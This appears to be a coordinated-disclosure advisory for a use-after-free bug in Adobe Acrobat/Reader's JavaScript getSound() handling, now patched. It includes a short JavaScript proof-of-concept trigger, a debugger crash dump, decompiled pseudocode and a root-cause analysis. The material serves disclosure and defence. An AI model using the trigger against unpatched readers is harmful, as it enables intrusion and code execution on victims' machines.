CVE: CVE-2019-16452
Tested Versions:
- Adobe Acrobat and Reader versions 2019.012.20035 and earlier
Product URL(s):
Adobe Acrobat is a family of application software and Web services developed by Adobe Inc. to view, create, manipulate, print and manage files in Portable Document Format (PDF). The basic Acrobat Reader, available for several desktop and mobile platforms, is freeware; it supports viewing, printing and annotating of PDF files. The commercial proprietary Acrobat, available for Microsoft Windows and macOS only, can also create, edit, convert, digitally sign, encrypt, export and publish PDF files.
There is an use-after-free bug when Adobe Reader/Acrobat DC executes JavaScript related to the getSound()
method.
Description of the vulnerability
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=5c982fb8 ebx=3aedefc0 ecx=219daff0 edx=07900000 esi=219daff0 edi=4f03cbd8
eip=548beed7 esp=050fe554 ebp=050fe560 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206
EScript!mozilla::HashBytes+0x2e497:
548beed7 8b4004 mov eax,dword ptr [eax+4] ds:002b:5c982fbc=????????
The following snippet would trigger the bug:
function gc() {for(var i = 0; i < 3; i++) {var z = new ArrayBuffer(1024*1024*100)}}
this.getSound('sound').toString()
this.getSound('z') //help trigger garbage collector
gc()
this.getSound('sound')
Analysis
sub_c3140
is invoked everytime we call this.getSound
. sub_c3140
creates a dictionary (std::map) to cache JSObject
so it doesn’t have to create a new object everytime this.getSound
is invoked. The name of the sound object is used as key to index into the dictionary. When the object has no reference left sub_C3050
is called to remove the object from the dictionary.
The problem is sub_c3140
uses two different string objects for the cache and the JSObject
’s private data:
wchar_t *__cdecl z_newSoundObject_C3140(wchar_t *context, T *arg)
{
wchar_t *soundname; // esi MAPDST
void *pddoc; // eax MAPDST
int *v4; // eax
wchar_t **v5; // eax
wchar_t *obj; // eax MAPDST
wchar_t *v8; // esi
_DWORD *v9; // eax
wchar_t *v11; // [esp+14h] [ebp-1Ch]
wchar_t *v12; // [esp+18h] [ebp-18h]
int v13; // [esp+1Ch] [ebp-14h]
int v15; // [esp+2Ch] [ebp-4h]
soundname = z_EStrNewImpl_sub_46E35(arg->objname, 3);
pddoc = arg->pddoc;
v15 = 0;
z_idx_473A4(&v11, &soundname);
LOBYTE(v15) = 1;
v4 = sub_72B6B(&gSound);
sub_97965(v4, &v12, &pddoc);
LOBYTE(v15) = 2;
if ( v11 )
sub_4786E(v11);
v15 = 3;
if ( soundname )
sub_4786E(soundname);
v15 = -1;
v5 = sub_72B6B(&gSound);
if ( v12 != *v5 )
return *(v12 + 6); /* return the cached object instead of creating a new one */
z_ESContextPushTempScope_3C0F0(context);
obj = z_ESObjectCreate_3DD80(context, 0, "Sound", 0);
if ( obj )
{
v8 = z_EStrNewImpl_sub_46E35(arg->objname, 3); /* create a new string object to use as key */
v12 = v8;
v15 = 4;
pddoc = arg->pddoc;
z_idx_473A4(&v11, &v12);
LOBYTE(v15) = 5;
sub_72B6B(&gSound);
sub_C26D8(&v13, &pddoc);
*(v13 + 24) = obj; /* put the object into the cache */
LOBYTE(v15) = 6;
if ( v11 )
sub_4786E(v11);
v15 = 7;
if ( v8 )
sub_4786E(v8);
v15 = -1;
z_ESObjectSetPreciseGetProc_40980(obj, "name", sub_C30F0);
z_ESObjectSetPreciseCallProc_41470(obj, "play", sub_C33C0);
z_ESObjectSetPreciseCallProc_41470(obj, "pause", &sub_C3330);
z_ESObjectSetPreciseCallProc_41470(obj, "stop", &sub_C3450);
z_ESObjectSetPreciseCallProc_41470(obj, "toString", z_Sound_toString_C34E0);
z_ESObjectSetPreciseCallProc_41470(obj, "valueOf", z_Sound_toString_C34E0);
z_ESContextPopTempScope_3D300(context);
v9 = z_EStrNewImpl_sub_46E35(arg->objname, 3);
z_ESObjectSetPrivateData_445C0(obj, "Sound", v9); /* create another string to use as sound name */
sub_64000(obj, arg->pddoc);
z_ESObjectSetDestructProc_44830(obj, z_SoundOjbect_destruct_C3050);
z_ESClientAddESObject_43500(context, obj, "Sound");
z_ESContextRemoveRoot_74F00(context, obj);
}
return obj;
}
sub_C3050
frees and removes JSObject from cache based on the name string saved in its private data:
signed int __cdecl z_SoundOjbect_destruct_C3050(int obj)
{
wchar_t *soudname; // edi
unsigned int v2; // ebx MAPDST
signed int result; // eax
wchar_t *v4; // esi MAPDST
_DWORD *v5; // eax
wchar_t *v7; // [esp+14h] [ebp-14h]
int v9; // [esp+24h] [ebp-4h]
/* remove JSObject from cache base on its private data */
soudname = z_ESObjectGetPrivateData_46700(obj, "Sound");
v2 = z_sub_5B1C0(obj);
result = 1;
if ( soudname )
{
v4 = sub_473C8(soudname);
v9 = 0;
z_idx_473A4(&v7, &v4);
LOBYTE(v9) = 1;
v5 = sub_72B6B(&gSound);
sub_97928(v5, &v2);
LOBYTE(v9) = 2;
if ( v7 )
sub_4786E(v7);
v9 = 3;
if ( v4 )
sub_4786E(v4);
v9 = -1;
sub_4786E(soudname);
result = 1;
}
return result;
}
When toString
is called, JSObject
’s private data is converted into a multibyte string:
int __cdecl z_Sound_toString_C34E0(int a1, int a2, int a3, int a4)
{
int v5; // ebx
wchar_t *v6; // esi
wchar_t *v7; // edi
void *v8; // eax
void *v9; // eax
int v10; // eax
if ( z_ESObjectGetPrivateData_46700(a1, "Dead") )
return z_ESThrowExceptionExVoid_AE7F0(a1, a2, a3, 13, 0);
v5 = z_ESObjectGetPrivateData_46700(a1, "Sound"); /* get soundname */
v6 = z_EStrNewImpl_sub_46E35("[object Sound=\"", 1);
v7 = z_EStrNewImpl_sub_46E35("\"]", 1);
z_EStrSetEncoding_5A4F0(v6, &NewSize); /* soundname is converted into multibytes tring */
z_EStrSetEncoding_5A4F0(v5, &NewSize);
z_EStrSetEncoding_5A4F0(v7, &NewSize);
v8 = sub_496F0(v5);
sub_4BB50(v6, v8);
v9 = sub_496F0(v7);
sub_4BB50(v6, v9);
v10 = sub_496F0(v6);
z_ESValSetString_3F000(a4, v10);
if ( v7 )
sub_4786E(v7);
if ( v6 )
sub_4786E(v6);
return 1;
}
The string object in private data and in the dictionary no longer matches after toString
is called. This leaves a stale pointer in the dictionary, leading to Use-after-Free.
With proper memory manipulation this bug can be turned into code execution inside sandbox context.
Timeline:
- 2019-11-17 Vulnerability reported to vendor via Tianfu Cup
- 2019-12-10 Coordinated public release of advisory
Vendor Response
The vendor has acknowledged the issue and released an update to address it.
This issue is covered in the vendor’s Security bulletin APSB19-55.